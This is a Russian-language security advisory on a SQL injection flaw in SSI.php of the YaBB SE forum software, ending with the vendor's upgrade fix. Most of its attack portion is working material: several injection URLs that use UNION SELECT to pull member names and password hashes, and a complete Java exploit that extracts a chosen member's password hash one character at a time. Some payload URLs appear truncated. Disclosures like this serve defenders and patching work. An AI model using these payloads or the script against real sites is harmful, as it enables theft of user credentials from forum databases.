| Дата публикации: | 22.01.2004 |
| Дата изменения: | 17.10.2006 |
| Всего просмотров: | 2851 |
| Опасность: | Критическая |
| Наличие исправления: | |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | |
| Воздействие: | |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | |
| Уязвимые версии: YaBB SE 1.5.4, 1.5.3 и более ранние версии
Описание: Уязвимость обнаружена в YaBB SE в 'SSI.php'. Удаленный пользователь может внедрить произвольные SQL команды. Удаленный атакующий может представить специально обработанный URL, чтобы выполнить произвольные команды на основной базе данных. Уязвимость связанна с недостаточной фильтрацией данных, представленных пользователем в параметре ID_MEMEBER в функциях 'recentTopics' и 'welcome'. Пример: http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2) +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+ lmr.ID_MEN+SELECT+ID_MEMBER,+ memberName,null,passwd,null,passwd,null,null,null,null,null,null+ FROM+yabbse_members+/* http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER =1+OR+1=1) +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_ME ull,null+FROM+yabbse_members+/* http://[target]/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2) +GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+Эксплоит:
/*
* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
*/
import java.net.*;
import java.io.*;
public class yabb {
public static void main(String[] args) throws Exception {
boolean lastChar = false;
String Key = "";
for ( int count=1; count <= 32 ; count++)
{
URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");
BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));
String inputLine;
inputLine = in.readLine();
int pos = inputLine.indexOf("action=im");
int pos2 = inputLine.indexOf(" ", pos + 11);
if ( pos < 0 )
{
System.out.println("ERROR: The server doesn't return any data");
System.exit(0);
}
String theNumber = inputLine.substring( pos + 11, pos2);
System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
in.close();
}
System.out.println("Hashed password : " + Key);
}
URL производителя: http://www.yabbse.org Решение:Установите обновленную версию программы (1.5.5): http://www.yabbse.org/download.php |
|
| Ссылки: | Yabb SE SQL Injection |